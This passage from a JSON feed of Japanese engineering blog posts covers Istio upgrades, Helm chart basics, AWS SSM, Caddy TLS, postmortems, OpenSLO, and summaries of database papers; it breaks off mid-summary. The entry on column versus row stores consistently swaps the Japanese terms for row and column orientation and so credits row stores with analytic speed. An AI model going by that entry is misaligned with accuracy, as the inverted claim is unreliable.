おわりにIstioを安全にアップグレードするカナリア方式とその仕組みをもりもり布教しました。Istioへの愛が溢れてしまいました。これからIstioを採用予定の方は、Istioを安全にアップグレードするために十分に準備しておくことをお勧めします\uD83D\uDC4D","link":"https://hiroki-hasegawa.hatenablog.jp/entry/2023/02/26/202548","isoDate":"2023-02-26T11:25:48.000Z","dateMiliSeconds":1677410748000,"authorName":"Hiroki Hasegawa","authorId":"hiroki-hasegawa"},{"title":"LINE に送ったメッセージを Google Home に読み上げさせる","contentSnippet":"令和の時代、家に固定電話はなく、外出先から家族に直ぐに答えて欲しいことがあってもスマホはマナーモードで手元に置いてなければ気づくことができません。 そんなわけで、","link":"https://blog.1q77.com/2023/02/line-bot-tts/","isoDate":"2023-02-25T12:51:58.000Z","dateMiliSeconds":1677329518000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"『自由研究には向かないウェブオペレーション』というタイトルで登壇しました。","contentSnippet":"概要【今更聞けない】Linuxのしくみ - Forkwell Library #16 というイベントに『自由研究には向かないウェブオペレーション - サイト運用管理を取り巻く環境の変化 Cloud Native時代に考えるLinux オペレーション』というタイトルで登壇しました。自由研究には向かないウェブオペレーションというのは2023年において我流でウェブオペレーションをやっていく限界があるという思いがあってこのタイトルにしました。が、タイトルが仰々しすぎて資料作成にとても時間がかかりました。資料登壇資料になります。 speakerdeck.comあとがき上記では我流でウェブオペレーションをやっていく限界があると言ってました。が、自由研究には向かない殺人という小説を直近で読んでいて依頼されたのでタイトルを拝借しただけでした。ウェブオペレーションに関していうとパブリッククラウドやIaCその他諸々の文化の登場や発展により2010年よりは洗練されていて実は知識体系を構築しようと思えばいくつかの括りでできたりするんじゃないかなと思って酔っ払った勢いでまとめてみた。ができたものを朝確認すると公開する自信がなかったのでやめておきました。どこかで修正して発表したいと思います。最近のアプリケーションはクラウド上のLinuxでビルドしてクラウド上のLinux でデプロイしてクラウド上のLinuxで動かすので結局様々な知識が求められるよって話でした。あと、関係ないのですが今回の登壇のためにAWSで実現するモダンアプリケーション入門を読みました。AWSを使わなくても具体的にモダンアプリケーションのインフラを考えるのにとても良い本だったので一緒にオススメしておきます。参考資料ウェブオペレーション［試して理解］Linuxのしくみ　―実験と図解で学ぶOS、仮想マシン、コンテナの基礎知識【増補改訂版】スーパーユーザーなら知っておくべきLinuxシステムの仕組み詳解 システム・パフォーマンス 第2版オブザーバビリティ・エンジニアリングAWSで実現するモダンアプリケーション入門 〜サーバーレス、コンテナ、マイクロサービスで何ができるのか継続的デリバリーのソフトウェア工学　もっと早く、もっと良いソフトウェアを作るための秘訣チームが機能するとはどういうことか──「学習力」と「実行力」を高める実践アプローチよ心理的安全性のつくりかた","link":"https://syu-m-5151.hatenablog.com/entry/2023/02/18/201252","isoDate":"2023-02-18T11:12:52.000Z","dateMiliSeconds":1676718772000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Helm Chart の歩き方 導入前に読みたいドキュメントについて","contentSnippet":"Helm を導入する前にChartについて読んでおいてほしいドキュメントをまとました。Chart の作成各ファイルの説明についてChart.yamlvalues.yaml.helmignoretemplate/templates/NOTES.txttemplates/_helpers.tplHelm について知るHelm Template Language の記法values.yaml へのアクセスHelm Template で利用できる関数Helm Chart で利用できる制御構文Named Templates を用いて一つのページで定義していく空白を管理する - の話Helm Chart をよくしていくHelm Chart のデバッグHelm Chart のリファクタリングHelm Chart のテストHelm Chart のリポジトリ化さいごに参考資料Chart の作成helm create でHelm Chart を作成します。Chart とは、Kubernetes リソースのまとまりを定義するファイル群のことです。helm create で構築したもの雛形はここでできます。中身を見れればなんとなく動きもわかるかもしれないので実際に手を動かしながら読んでもらえると嬉しいです。$ helm create mychartCreating mychart$ tree -a ./mychart./chart-namemychart/├── .helmignore├── Chart.yaml├── charts├── templates│\xa0\xa0 ├── NOTES.txt│\xa0\xa0 ├── _helpers.tpl│\xa0\xa0 ├── deployment.yaml│\xa0\xa0 ├── hpa.yaml│\xa0\xa0 ├── ingress.yaml│\xa0\xa0 ├── service.yaml│\xa0\xa0 ├── serviceaccount.yaml│\xa0\xa0 └── tests│\xa0\xa0 └── test-connection.yaml└── values.yamlこれにより、mychart ディレクトリが作成されます。特別なことがなければ基本的にはこれをベースに作成していくことになると思います。Helm CreateVim にもプラグイン があるので利用しているエディターごとに入れていただければと思います。各ファイルの説明について作成した mychart ディレクトリに移動して、Chart の設定を編集します。Chart.yamlChart.yaml は、作成した Chart のメタ情報を管理するファイルです。幾つかの必須パラメーターと追加のパラメーターがあります。詳細は公式のドキュメントを読んでください。Chart.yamlvalues.yamlvalues.yaml は、Helm Template Language で利用する変数の、デフォルト値を指定したファイルです。上書きしたい時は別途指定してあげます。チャート内のvalues.yamlファイルサブチャートの場合、親チャートのvalues.yamlファイルhelm install または helm upgrade に -f フラグを付けて渡した場合の values ファイル (helm install -f myvals.yaml ./mychart)set で渡される個々のパラメータ (helm install --set foo=bar ./mychart のように)Values Files.helmignoreChart をリポジトリ化する際には、作成したファイル一式を helm package コマンドを利用して tar ファイルにするのですが、.helmignore を利用すると、その tar ファイルに含めたくないファイルを指定できるようなります。The .helmignore filetemplate/templates/ はテンプレートファイル用のディレクトリです。テンプレートとして利用するファイルが納入されています。A First Templatetemplates/NOTES.txttemplates/NOTES.txt は、Chart をインストールやアップデートした時にターミナル上で表示される文言を記述できます。アクセスすべきURLやリリース結果が見れるものを記載したりしてます。{{ .Chart.Name }} や {{ .Chart.Version }} といった記述できます、これが Helm Template Language となります。Helm Template Language の記法については後述。Creating a NOTES.txt Filetemplates/_helpers.tpltemplates/\\\\_helpers.tpl は、マニフェストファイルではなく、マニフェストファイル内で利用されるグローバル変数（Helm では Named Template と呼ばれます）を定義したファイルとなります。Using \\"Partials\\" and Template IncludesHelm について知るHelm Template Language の記法コメントは # の他、{{/*...*/}}のような記法を利用できます。# を利用したコメントはデバッグモードで表示される、という違いがあります。Comments (YAML Comments vs. Template Comments)values.yaml へのアクセスBuilt-in Object とは、Helm Template Lunguage で利用できるオブジェクトというかインスタンスとなります。values.yaml 等に定義した値を取得するには、Values オブジェクト内のインスタンス変数 なになに にアクセスする、みたいな感じで利用するイメージとなります。Release のほか、Valuesや Chart といった Built-in Object を利用しています。Values は、values.yaml に定義された値へアクセスできるオブジェクトです。Chart は、Chart.yaml に定義された値へアクセスできるオブジェクトです。Built-in ObjectsHelm Template で利用できる関数Helmファイルを書いていくとこうしたいあぁしたいとなると思うのですがHelm Template Language 内では、様々な関数がビルトインされています。Helmは60以上の利用可能な関数を持っています。そのうちのいくつかは、Go Tepｍplate自体で定義されています。{{ .Release.Name | quote }} という記述があったとして、.Release.Name という値に対して、パイプを介し、 quote という引用符を付与する関数を実行しているものになります。こんな感じで、実行したい関数をパイプを介して記述していくことなります。Template Function ListHelm Chart で利用できる制御構文Helm には制御構造が利用できます。 これは、テンプレートの生成の流れを制御する機能を提供します。制御構文は、以下が用意されています。if/else for creating conditional blockswith to specify a scoperange, which provides a \\"for each\\"-style loopちなみにGo Tepｍplate自体で定義されています。Flow ControlNamed Templates を用いて一つのページで定義していく名前付きテンプレートとは、単にファイルの中で定義され、名前が付けられたテンプレートのことです。Named Template は、{{ define }} ... {{ end }} アクションで定義を行い、{{ template }} や {{ include }} アクションで、その値を利用することになります。Named Templatesちなみに{{ template }} でなく、 {{ include }} しないと、パイプを介した関数の実行できないため、{{ include }} が良い。Using the \'include\' Function空白を管理する - の話まず、テンプレート宣言の中括弧の構文を特別な文字で変更し、テンプレートエンジンに空白を切り詰めるように指示する。{{- xxx }} や {{ XX -}}とかで出てきているハイフンですが、これは Helm Template Lunguate を利用した行の空白を管理するものです。ハイフンの有無により空白の除去を実行してくれます。空白を消したあとにindentを追加するような形で利用したりもします。Helm Chart をよくしていくHelm Chart をデバッグしたりリファクタリングする時のヒントを書いていきます。Helm Chart のデバッグHelm Chart ではデバッグする方法をいくつか用意しています。Debugging Templateshelm lint は、Chart がベストプラクティスに沿っているかを確認するためのツールです。helm template --debug はローカルでChart template のレンダリングをテストします。困ったらこれでyaml を直接、確認します。helm install --dry-run --debugは、サーバーがテンプレートをレンダリングし、その結果のマニフェストファイルを返すという素晴らしい方法です。helm get manifestは、サーバーにインストールされているテンプレートを確認する良い方法です。Helm Chart のリファクタリングHelm Chart の品質をあげるためのヒントとコツをいくつか取り上げられています。テンプレートの関数を知り有用と判断すれば利用する文字列を引用する、整数を引用しない。これは絶対に頼む。1つのコマンドでリリースをインストールまたはアップグレードChart Development Tips and TricksHelm Chart のテストtemplates/tests/ ディレクトリ配下においたマニフェストファイルは、helm testコマンドにより実行することができます。Chart TestsHelm Chart のリポジトリ化リポジトリ化するには、index.yaml というファイルとChart 一式を固めた tar ファイルを静的 Web ホスティングサイトにアップロードすることで実現されます。The Chart Repository Guideさいごにこれもあれば読んでほしいという内容があれば名前付きで掲載させていただくので連絡いただきたいです。参考資料Helm Docs | Getting Started","link":"https://syu-m-5151.hatenablog.com/entry/2023/02/16/141433","isoDate":"2023-02-16T05:14:33.000Z","dateMiliSeconds":1676524473000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"運用の効率化を支える AWS Systems Manager Automation の紹介","contentSnippet":"AWS Systems Manager（SSM）では運用に役立つ機能が提供されています。 ただし、提供されている機能が多く、今まで使用した経験があるのは一部の機能に限られていましたので、どのようなことができるのか調べてみ […]The post 運用の効率化を支える AWS Systems Manager Automation の紹介 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/aws-ssm-automation/","isoDate":"2023-02-16T02:40:28.000Z","dateMiliSeconds":1676515228000,"authorName":"Sreake","authorId":"Sreake"},{"title":"行指向と列指向の違いについての論文を読む","contentSnippet":"この記事の趣旨前回と同様にCMU Advanced Databas Systems Spring2023のReading Assignmentとして出ている論文を読み論文紹介のやり方 / How to reviewで紹介されている方法をまとめていきます。今回はBigQueryやSnowflake、Amazon Redshiftといった分析向けデータベースが採用している行指向ストア(Column-store)と列指向ストア(Row-store)の差と行指向ストアがのどうのような最適化がパフォーマンスに影響を与えているかについて扱った論文を読んで行きます。Column-Stores vs. Row-Stores: How Different Are They Really?研究全体の背景行指向データベースシステムは分析用ワークロードで列指向データベースシステムより優れたパフォーマンスを発揮することで知られている。なぜなら行指向ストアはクエリ実行に必要なデータのみをディスクまたはメモリから取得するため、優れたI/Oパフォーマンスを達成できるからである。問題意識垂直パーティショニングや全ての行をパーティショニングすることで、列指向データベースで行指向データベースのようなパフォーマンスを実現できるだろうか？ また行指向データベースが高速に動作するのはどのような最適化手法の影響が大きいのか？論文の目的列指向データベースで垂直パーティショニングやクエリ実行で使われる全ての行にインデックスを張るなどして、擬似的に行指向データベースを再現することで分析用途でのパフォーマンスが向上するのか？ また行指向データベースの高速化に用いられるテクニックを一つずつ無効化し、パフォーマンスを比較することでどのような要素が行指向データベースのパフォーマンスを向上させているかを検証しする。手法の説明Star Schema Benchmarkを用いてC-Storeと商用列指向データベースの比較を行う。リアライゼーション、ブロックプロセッシングをそれぞれ無効化しどの要素の影響が最も大きいか。またこの論文で提案されたinvisible joinの評価を行なう。結果列指向ストアに置けるマテリアライズトビューリアライズドビュー(MV)に比べ非常に優れたパフォーマンスを発揮する。一方でCSの一つの行にMVとして期待するアウトプットのタプルをStringとして保存すると、普通のRSよりも低いパフォーマンスとなる。 RS MV > RS > CS MVとなる。列指向ストアに行指向ストアを再現する一般的な列指向のアプローチを適用し、効果的であればbitmap1またはbloom filter2を適用する(T)一般的な列指向のアプローチを適用するが、bitmapを積極的に使用する(T(B))一つのテーブルを複数のテーブルとして垂直分割を行う(VP)全ての行にインデックスを貼り、値の読み込みは全てインデックス経由で行う(AI)結果としては平均してMV > T > T(B) > VP > AIとなる。列指向ストアに置ける最適化手法とその影響列指向ストアの最適化手法においてどの影響が大きいかを測定するためそれぞれを無効化することで検証を行なう。測定対象の最適化項目としては以下の4つを対象とする。ブロックプロセッシングの有効化(B)または無効化(b)Invisible joinの有効化(I)または無効化(i)保存時のデータ圧縮の有効化(C)または無効化(c)遅延マテリアライゼーションの有効化(L)または無効化(l)結果は平均するとBICL > bICL > BiCL > biCL > BicL > bicL > biclとなる。まとめと考察既に知られていたように行指向ストアは列指向ストアに対して常に優れたパフォーマンスを発揮した。リアライゼーションとデータの圧縮はパフォーマンスの改善に大きく影響した。ブロックプロセッシングやInvisible Joinも上記の二つに比べると影響は小さいものの最適化として有効に働いた。Oracle Document 索引↩Bloom Filters↩","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/3_columner_store_vs_rower_store","isoDate":"2023-02-12T15:22:37.000Z","dateMiliSeconds":1676215357000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Caddy の Internal TLS 証明書の有効期間を指定する","contentSnippet":"以前 ワンライナーで https の Reverse Proxy を実行する という記事で Caddy を使うと local での開発用に任意のドメインの証明書を簡単に発行できるし CA の証明書も OS の証明書ストアに保存してくれるた","link":"https://blog.1q77.com/2023/02/caddy-internal-tls-cert-lifetime/","isoDate":"2023-02-09T14:29:32.000Z","dateMiliSeconds":1675952972000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"『ポストモーテムはじめました』というタイトルで登壇しました。","contentSnippet":"概要インシデントにどう対応してきたか？みんなで学ぶポストモーテム Lunch LT というイベントで『ポストモーテムはじめました』というタイトルで登壇しました。この登壇には元記事があって良いポストモーテムを執筆するために必要な5つのポイントです。この記事に対していくつかの加筆修正を行い資料にしました。資料登壇資料になります。 speakerdeck.comあとがきポストモーテムについて考えたり調べていくと仕組みよりも組織としての心がけが大事だと思いました。発表の性質や時間の都合上SREでの話に留めたのですが、品質管理についても言及しながらまとめていく活動もしたい。組織を作っていくなら下の2冊はとてもオススメです。心理的安全性のつくりかた　「心理的柔軟性」が困難を乗り越えるチームに変える作者:石井遼介日本能率協会マネジメントセンターAmazon失敗の科学 失敗から学習する組織、学習できない組織作者:マシュー・サイドディスカヴァー・トゥエンティワンAmazon品質管理についてはこちらを参考にしました。失敗を後悔する「恥」として捉えてはいけない。学習する機会と捉え、次に活かせば良い。そのためのスキルが品質管理。ビジュアル品質管理の基本 第5版作者:内田 治日経BPマーケティング(日本経済新聞出版Amazon登壇した御礼をいただいた。『インシデントにどう対応してきたか？みんなで学ぶポストモーテム Lunch LT』というイベント登壇の御礼品をいただけました。　#LT_findy pic.twitter.com/9ll5ig0ZjA— nwiizo (@nwiizo) 2023年2月21日 参考資料SREとはなにかhttps://sreake.com/blog/what-is-sre/良いポストモーテムを執筆するために必要な5つのポイントhttps://sreake.com/blog/5point-good-postmortem/Part III. Practiceshttps://sre.google/sre-book/part-III-practices/SRE サイトリライアビリティエンジニアリングhttps://www.oreilly.co.jp/books/9784873117911/ウェブオペレーションhttps://www.oreilly.co.jp/books/9784873114934/Postmortem Culture: Learning from Failurehttps://sre.google/sre-book/postmortem-culture/チームが機能するとはどういうことか──「学習力」と「実行力」を高める実践アプローチよりhttps://www.amazon.co.jp/dp/B00N8J1NPQ","link":"https://syu-m-5151.hatenablog.com/entry/2023/02/09/113316","isoDate":"2023-02-09T02:33:16.000Z","dateMiliSeconds":1675909996000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Snowflakeの論文を読む","contentSnippet":"この記事の趣旨前回と同様にCMU Advanced Databas Systems Spring2023のReading Assignmentとして出ている論文を読み、感想と抄訳のようなものにまとめます。まとめていたのですが、そもそも全体をまとめてしまっていいのか？ 文量もふえてしまうので論文紹介のやり方 / How to reviewで紹介されている方法を参考にやっていきます。ただし実装論文が対象なので手法の説明は厚めにとりあげ、結果については省略します。今回は近年DWHとして存在感を増しているSnowflakeがどのようなアーキテクチャを取っているか、そしてどのように分散システムの上にデータベースシステムを構築しているかについての内容になります。https://15721.courses.cs.cmu.edu/spring2023/papers/02-modern/vuppalapati-nsdi22.pdfBuilding An Elastic Query Engine on Disaggregated Storage研究全体の背景Cloud技術をベースとしたデータウェアハウス(DWH)であるSnowflakeの運用経験に基づいた論文。Snowflakeは計算リソースとストレージの柔軟性、マルチテナント、高いパフォーマンスを目的にデザインされている。この論文ではSnowflakeが設計と実装においてどのようにCloud技術を応用し目的を達成しているかについて書かれている。問題意識既存のクエリ実行エンジンやDWHではShared-nothing方式を採用することでデータをノードに分散させ、処理をスケールさせたり高いパフォーマンスを実現していた。一方でワークロードによって要求のことなる各種コンピュータリソースを適切に分配することが難しい、Shared-nothingによる静的にパーティションされたデータでは要求によってノードを増減させることが難しいという問題があった。論文の目的SnowflakeがどのようなアーキテクチャによってShared-nothingが抱える問題を解決し、またクエリプランニングと最適化、同時実行制御を行っているのかの実装をまとめ、紹介している。手法の説明設計の概要Snowflakeでは永続(persistent)データと中間(intermediate)データで扱かいを変えている。Figure1: Snowflake (Virtual) Warehouse Architecture一時ストレージの設計SSDで構成されている。一時データは可能な限りメモリに保存されメモリで保持しきれないデータはスワップ領域のようにSSDに保存される。さらにSSDの空き容量が枯渇した場合、一時的に永続ストレージに保存される。一時ストレージは永続化が不要なデータの保管以外にも永続化データのキャッシュとしても機能する。このキャッシュは日和見的(opportunistically)キャッシュと呼ばれており、その理由は中間データを常に優先するからである。クエリスケジューリングユーザーからのクエリはサービスエンドポイントでパース、実行計画の生成、最適化、実行に必要タスクの生成が行なわれ、ここで生成されたread/writeを含むタスクは計算リソースに割り振られ、計算リソースから必要に応じて一時、永続ストレージからのデータ取得が行なわれる。このときタスクの割り振りは一時ストレージが対象の永続データをキャッシュしているかも考慮される。またSnowflakeは Work stealingという他ノードに割り振られたタスクをあるノードの方が速く処理できる場合、臨機応変にタスクを実行するしくみがある。リソースの柔軟性ストレージと計算リソースを分離することでSnowflakeはそれぞれを独立してスケールアウトさせている。ストレージの柔軟性はデータストアであるS3に委任している一方で、計算リソースの柔軟性は事前に暖気運転されたノードプールによって実現している。Snowflakeでは永続データのキャッシュ時に保存されるノードが決っている一方で、対象となるデータをキャッシュするノードがない場合、一時的にほかのノードにタスクを割り振り計算リソースがスケールし対象となるデータがキャッシュされた時に再度タスクを割り当てるという機能が存在する。まとめと考察SnowflakeはS3を永続ストレージとして使用、VM全体を計算リソースとそのメモリ、スワップ領域とみなすことでスケーラビリティと高いパフォーマンスを実現した。とくに日和見的キャッシュとタスクスケジューリングメカニズムはShared-nothing方式の抱えていた、リバランスの問題を解決した。Snowflakeが現在達成できていないマルチテナントや計算リソースの高いユーティリゼーションの実現方法としてあげている手法をとっているため、今後の機能追加が競争力維持のために重要となる。","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/2_snowflake_sigmod_22","isoDate":"2023-02-07T15:34:03.000Z","dateMiliSeconds":1675784043000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"OpenSLO とは？","contentSnippet":"はじめに OpenSLO の概要に触れながら SLO as Code の現状についてお話しします。 OpenSLOとは？ OpenSLO とは、サービスレベル目標 (SLO)、それに関連するリソースの記述形式を標準化する […]The post OpenSLO とは？ first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/openslo/","isoDate":"2023-02-07T03:37:40.000Z","dateMiliSeconds":1675741060000,"authorName":"Sreake","authorId":"Sreake"},{"title":"CMU Advanced Database Systems Spring2023のReading Assignmentを読む part1","contentSnippet":"CMU Advanced Database Systems Spring2023とはカーネギメロン大学(CMU)ではAdvanced Database Systemsという講義が開講されており、特に2023年1月始まりの講義です。講義の内容はモダンなDBMSの内部実装を学んで行くコースとなっており、データベースの歴史を皮切りにOLAP DB、ストレージモデルやCompressionなどなど様々な実装を学べるそうです。https://15721.courses.cs.cmu.edu/spring2023/この講義はReading Assignmentがあり、その対象となる論文や書籍内容は一般に公開されています。(一部非公開)この記事ではその第一回、History of Databasesの\\"What Goes Around Comes Around\\"を読んだ感想文となります。CMU生にはさらにWhat \\"What Goes Around Comes Around... And Around\\"という2023年公開の最新版があるそうです。おそらくドキュメント指向やKVS、グラフ指向やNewSQLなど様々な加筆があるのでしょう。読んでみたいですね。論文を読んでIMS、CODASYL時代からリレーショナルへの変遷をたどったことで後世においてより良いとして選ばれたものとそれへの反対、新しい機能の提案とそれが市場に受け入れられるプロセス、そして複雑さとシンプルさのサイクルを学んだ。おそらくこれらの変遷、市場との関わり方はデータベースのみならずあらゆることに適応できるんじゃないかと思う。現在の比較的新しい技術であるNewSQLはもともと市場のelepahntであるGoogleにより生み出され、また既存のRDBが抱えていたwriteスケールアウトへの課題からおそらく今後受容されるのではないかと思う。またXMLで生まれたセミ構造化が比較的シンプルな現在のJSONやドキュメントDBに受け継がれたこと、またビジネス側の素早い開発に対応したいというニーズの合致により現在の成功があるのでしょう。一方でOracleのConverged Databaseの考え方は正しいと思える反面、RDBの起原であるシンプルさからは遠ざかっているように感じる。XMLやCODASYLほど難しくなければ大丈夫なのだろうが、このまま機能を膨らませ続けると……と不安にもなる。What Goes Around Comes AroundAbstractこの論文はタイトルからわかるとおりデータベースの歴史についてまとめたもので、1960年代から2006年までの35年を9つの時代に分けて振り返っている。35年の歴史の中でデータモデルは共通したアイデアが多く、たった数種類しか登場していない。データベースの歴史を学ぶ重要性としてほとんどの研究者は歴史を学んでおらず、すでに否定されたアプローチを再発してしまうことがあるためである。実際今(2006年当時)のXML時代は1970年代のCODASYLの「複雑さ」という失敗を繰り返している。Introductionデータモデルの提案は1960年代から始まった。この論文では以下の9つの時代についてまとめている。階層型(IMS): 1960年代後半から1970年代にかけてネットワーク(CODASYL): 1970年代リレーショナル: 1970年代から1980年代前半にかけてエンティティ-リレーションシップ: 1970年代拡張リレーショナル: 1980年代セマンティック: 1970年代後半から1980年代オブジェクト指向: 1980年代後半から1990年代前半オブジェクトリレーショナル: 1980年代後半から1990年代前半セミ構造化: 1990年代後半から現在(2006年当時)階層型(IMS): 1960年代後半から1970年代にかけてIMSは1968年にリリースされた階層型データモデルでレコードタイプの概念を持っていた。レコードタイプとはデータ型に紐付いた名前のついたフィールドの集まりである。それぞれのインスタンスのレコードタイプはレコードタイプによって指定されたデータの説明に従っており、またいくつかの名前付きフィールドはどのレコードを指定しているのか明示していなければならない(Keyのようなもの)。そしてレコードタイプは木構造を成している1これらを満たす木構造データには2つの課題があり、は情報の重複と(ルート以外)親が必ず存在しなければ行けないことである。コメント: 現代プログラミングでも情報の重複は同様の理由で忌諱されてますね。IMSが階層型データを選んだのはデータ処理をシンプルにするためである。IMSの操作言語DL/1は1レコードずつしか処理できず(record-at-a-time)、プログラマがクエリのアルゴリズムを記述しIMSが実行する方式を取っていた。IMSは4つのストレージフォーマットがありいくつかはDL/1の実行に制限を与えた。それはオペレーションのパフォーマンス劣化を防ぐためであったものの、DL/1のプログラムが正しく動くことを保証できないためデータの保存方法を最適化することができなかった。データベースアプリケーションがどんなチューニングが行われたかに関わらず物理レベルで動き続けることをデータの物理的独立性(physical data independence)と呼ぶ。DBMSアプリケーションは通常一度に書かれるわけではないため重要である。新規プログラムが追加されるたびにチューニングの需要は変わり、より良いDBMSのパフォーマンスはストレージの構成を変更することで達成される。データの論理的独立性(logical data independence)をサポートしていた。コメント: ビジネスロジックが増えてもDBMSを使うアプリの機能を追加できないと困る上で記載したIMSの課題を解決するためにIMSは異なる2つのデータベースからデータタイプを共通の値で\\"fused(joined)\\"する方法を提供した。このIMSの特徴から以下のレッスンを学ぶことができる。データの物理的・論理的独立性は非常に望ましい木構造データモデルはとても制限的洗練された木構造データの論理的データ再構成は難しいrecord-at-a-timeユーザーインターフェースはプログラマにマニュアルのクエリ最適化を強制し、それはしばしば難しい。ネットワーク(CODASYL): 1970年代CODASYL(Committie on Data Systems Languages)委員会は1969年にネットワークデータモデルのレポートをリリースした。委員会は1971年、1973年とread-at-a-time型データ処理言語の仕様をリリースしており、アドホック型の委員会であった。ネットワークデータモデルはそれぞれKeyを持ったレコードタイプの集まりから構成されており、木構造というよりはネットワーク構造になっている。インスタンスは複数のownerを持つことができ、IMSが\\"fused\\"として提供していたデータ構造をより自然に表現できた。childレコードタイプを持つことができ、要するに1-to-nの関係が成り立つ。CODASYLのネットワークは複数の名前の付きレコードタイプと名前付きsetからなるグラフであり、そこには必ず一つ以上のentry pointが存在する。entry pointとはいずれのsetのchildでもないレコードセットである。このCODASYLのデータ構造はIMSのいくつかの問題を解決したものの、setが双方向関係(two-way relationship)しか示すことができず三方向関係(three-way relationship)を表現する場合3つのsetが必要になり不自然な表現になってしまう。コメント: 3つのFKを持つテーブルを作るときにjunction tableが3必要になるからってこと？またCODASYLのデータアクセス言語はrecord-at-a-time方式を取っており、子レコードタイプのentry pointとなる親以外の親に到達したい場合、entry pointのsetに属する子を探しその中から子につながる特定のsetを持つ親を探すという方法を取る。プログラマが最後にアプリケーションがアクセスしたレコード、最後にアクセスしたレコードのレコードタイプ、そして最後にアクセスしたレコードのsetタイプを管理する必要がありCharlie Bachman(産業界のデータベース研究者)が「四次元を航海するようだ」と表現下ほど難解であった。加えてIMSがそれぞれのデータベースが独立して外部データソースからのバルクロードが可能だったに対し、CODASYLはすべてのデータが一つの大きなネットワークであったため大きなデータを一度にロードする必要があり時間がかかった。そしてCODASYLのデータベースが破損した場合すべてのデータをダンプから復元する必要があり、データの復旧に多くの時間がかかった。このCODASYLの特性から以下のレッスンを学ぶことができる。ネットワークは階層型に比べ柔軟であるが複雑でもある。ネットワークの読み込みと復旧は階層型に比べ複雑である。リレーショナル: 1970年代から1980年代前半にかけて階層型とネットワーク型データベースを背景に1970年、Ted Coddはリレーショナルモデルを提案した。このデータモデルはデータの独立性にフォーカスされている。この提案は以下の3つである。データをシンプルに構造で保存する(テーブル)データにはハイレベルなset-at-a-time DMLでアクセスする物理ストレージへの提案は不要シンプルなデータ構造にすることで論理的データの独立性を、ハイレベルなDMLでを提供することで物理的データの独立性を提供し、物理ストレージの提案を不要とした。またリレーショナルモデルの柔軟さはほとんどすべてのデータを表現可能というアドバンテージを実現した。研究者を始めとしたリレーショナルデータベース推進派と産業界のDBMSユーザーによるCODASYL推進派で、どちらのほうが優れているかという議論が行われた。マイコンの大量生産と一般化により、OracleやINGRESなど多くの商用リレーショナルシスタムが台頭した。一方で既存のネットワークモデルシステムは移植性が低くマイコンではあまり広がらなかった。しかし産業界が強いメインフレームではIMSやIDMSなどリレーショナルではないシステムが引き続き使われた。また現実的なデータマネジメントはメインフレームで行われた。1984年にIBMがDB/2をメインフレーム向けにリリース。DB/2は容易に使うことができたため市場で大きな成功を収め、リレーショナルデータベースをの今後を決定付けSQLはリレーショナル言語のデファクトとなった。コメント: RDBが成功するのは必然のように思えるがIBMのDB/2がリリースされなければどのように展開していたのだろうその後IBMはIMSのインターフェースとしてDL/1だけではなくSQLを対応する方針を取った。IMSの上にSQLを対応させるのは非常に難航した。これらの経緯から以下のレッスンを学ぶことができる。Set-at-a-time言語は物理的データの独立性を向上させるため、データモデルに関わらず優れている論理的データ独立性はシンプルなデータモデルほど達成しやすい技術的な議論は技術的な理由よりも市場の雄によって左右されることが多いクエリオプティマイザはDBMSアプリケーションのプログラマによって書かれたrecord-at-a-timeのクエリより優れていたエンティティ-リレーションシップ: 1970年代Peter Chenは1970年代中盤にリレーショナルやCODASYL、階層型の大体としてエンティティ-リレーションシップ(E-R)データモデルを提案した。この提案ではデータベースをエンティティのインスタンスの集合として捉え、いずれのエンティティもアトリビュートというエンティティの特徴を定めるデータエレメントを持つと定義した。アトリビュートをユニークなデータ(Key)としてデザインし、エンティティ間でリレーションシップを持つと定義した。データモデルとしてE-Rデータモデルが受け入れられることはなかった一方でデータベース(特にスキーマ)のデザインツールとして大きく成功した。当時すでに第一から第四を含む複数の正規化が提案されていたものの、機能的依存関係(Functional Dependencies)などを前提としていた。そのためデータベースアドミニストレータにとってはすぐに適用することが難しかった一方で、E-Rデータモデルを使用した手法とツールは第三正規化を行ったテーブル群を提供できたため大きく成功した。このE-Rデータモデルの経緯から機能的依存関係の理解は多くの人々にとって難しいという学びを得ることができる。拡張リレーショナル: 1980年代1980年代初頭頃からリレーションデータベースやクエリ言語の考えを拡張する形で様々論文が発表された。その中で発表された考えの中で特に影響の大きかったものはGemというクエリ言語であり特徴は以下である。Set-valued attributesアトリビュートに対して、そのようなデータ型を提供するAggregation (tuple-reference as a data type)Foreign Keyで参照されたほかエンティティのタプルに対して、\\"cascated dot\\"記法による以下のようなアクセス方法を提供する。Select Supply.SR.snoFrom SupplyWhere Supply.PT.pcolor = \\"red\\"Generalizationアトリビュートが共通する複数のエンティティがある時、共通部分を切り出したエンティティとそれを継承(inherit)するエンティティを作成できる。Gemは様々な便利な機能を提供した一方でリレーショナルモデルのクエリ言語に比べて速度が不足した。トランザクション処理のパフォーマンスとスケーラビリティに焦点を起き、大規模なビジネスシーンで使われた一方拡張リレーショナルなアイデアが与えた影響は一部にとどまった。そこから以下の学びを得ることができる。大きなパフォーマンスの改善または機能的優位性がない限り、新しい機能は受け入れられないセマンティック: 1970年代後半から1980年代時をおなじくしてリレーショナルとは他の学派がリレーショナルデータモデルは意味的に貧弱であると主張し、ポストリレーショナルデータモデルとしてセマンティックデータモデル(SDM)を提案した。SDMはクラスと呼ばれる同じスキーマに従うレコードの集まりに焦点を当てている。SDMはGemのようにAggrigationやGeneralizationを実装し、またSDMのGemeralizationでは複数のクラス同士で対応関係を持つアトリビュートや複数のエンティティからの継承(multiple inheritance)を提供した。そしてSDMのクラスはクラス変数を持っていた。ほとんどのSDMは非常に複雑であり、机上の提案で有ることが多かった。一部SDMデータベースを実装したものがあったが、そのときにはすでにSQLがデファクトと鳴っており、SQLとの互換性がないシステムは市場において成功を収めることは難しかった。SDMは拡張リレーショナルと同様の問題を2つ抱えていた。一つはほとんどの機能がリレーショナルデータベースで再現可能であること。もう一つは著名なベンダーはトランザクション処理の効率化に心血を注いでおり、あまり大きな影響を残すことがなかった。オブジェクト指向: 